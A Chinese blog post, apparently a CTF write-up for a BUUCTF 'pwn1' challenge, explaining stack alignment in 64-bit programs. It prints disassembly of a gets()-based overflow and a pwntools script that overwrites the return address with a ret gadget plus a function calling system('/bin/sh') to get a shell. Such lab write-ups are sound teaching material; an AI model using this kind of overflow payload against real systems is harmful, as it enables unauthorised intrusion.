文章

PWN 64位打不通,堆栈平衡

PWN 64位打不通,堆栈平衡

关于64位程序堆栈平衡的处理

堆栈平衡:

当我们在堆栈中进行堆栈的操作的时候,

一定要保证在ret这条指令之前,esp指向的是我们压入栈中的地址,

函数执行到ret执行之前,堆栈栈顶的地址 一定要是call指令的下一个地址。

含义就是 当函数在一步步执行的时候 一直到ret执行之前,堆栈栈顶的地址 一定要是call指令的下一个地址。

也就是说函数执行前一直到函数执行结束,函数里面的堆栈是要保持不变的。

如果堆栈变化了,那么,要在ret执行前将堆栈恢复成原来的样子。

.text:0000000000401142 ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:0000000000401142                 public main
.text:0000000000401142 main            proc near               ; DATA XREF: _start+1D↑o
.text:0000000000401142
.text:0000000000401142 s               = byte ptr -0Fh
.text:0000000000401142
.text:0000000000401142 ; __unwind {
.text:0000000000401142                 push    rbp
.text:0000000000401143                 mov     rbp, rsp
.text:0000000000401146                 sub     rsp, 10h
.text:000000000040114A                 lea     rdi, s          ; "please input"
.text:0000000000401151                 call    _puts
.text:0000000000401156                 lea     rax, [rbp+s]
.text:000000000040115A                 mov     rdi, rax
.text:000000000040115D                 mov     eax, 0
.text:0000000000401162                 call    _gets
.text:0000000000401167                 lea     rax, [rbp+s]
.text:000000000040116B                 mov     rdi, rax        ; s
.text:000000000040116E                 call    _puts
.text:0000000000401173                 lea     rdi, aOkBye     ; "ok,bye!!!"
.text:000000000040117A                 call    _puts
.text:000000000040117F                 mov     eax, 0
.text:0000000000401184                 leave
.text:0000000000401185                 retn
.text:0000000000401185 ; } // starts at 401142
.text:0000000000401185 main            endp
.text:0000000000401185
.text:0000000000401186
.text:0000000000401186 ; =============== S U B R O U T I N E =======================================
.text:0000000000401186
.text:0000000000401186 ; Attributes: bp-based frame
.text:0000000000401186
.text:0000000000401186 ; int fun()
.text:0000000000401186                 public fun
.text:0000000000401186 fun             proc near
.text:0000000000401186 ; __unwind {
.text:0000000000401186                 push    rbp
.text:0000000000401187                 mov     rbp, rsp
.text:000000000040118A                 lea     rdi, command    ; "/bin/sh"
.text:0000000000401191                 call    _system
.text:0000000000401196                 nop
.text:0000000000401197                 pop     rbp
.text:0000000000401198                 retn
.text:0000000000401198 ; } // starts at 401186
.text:0000000000401198 fun             endp
.text:0000000000401198
.text:0000000000401198 ; ---------------------------------------------------------------------------

可以选择任意一个ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
io = process("./pwn1")
# io = remote("node5.buuoj.cn", 26657)
context(arch="amd64", os="linux")

print(io.recvline())

padding = 0xF + 8
fun_addr = 0x0000000000401186
ret_addr = 0x401198
# 搜索之后发现64位系统中,需要地址对齐之后才可以执行system。这里需要在fun函数的地址之前加一个retn的地址
payload = b'a'*padding + p64(ret_addr) + p64(fun_addr)

io.sendline(payload)
io.interactive()
本文由作者按照 CC BY 4.0 进行授权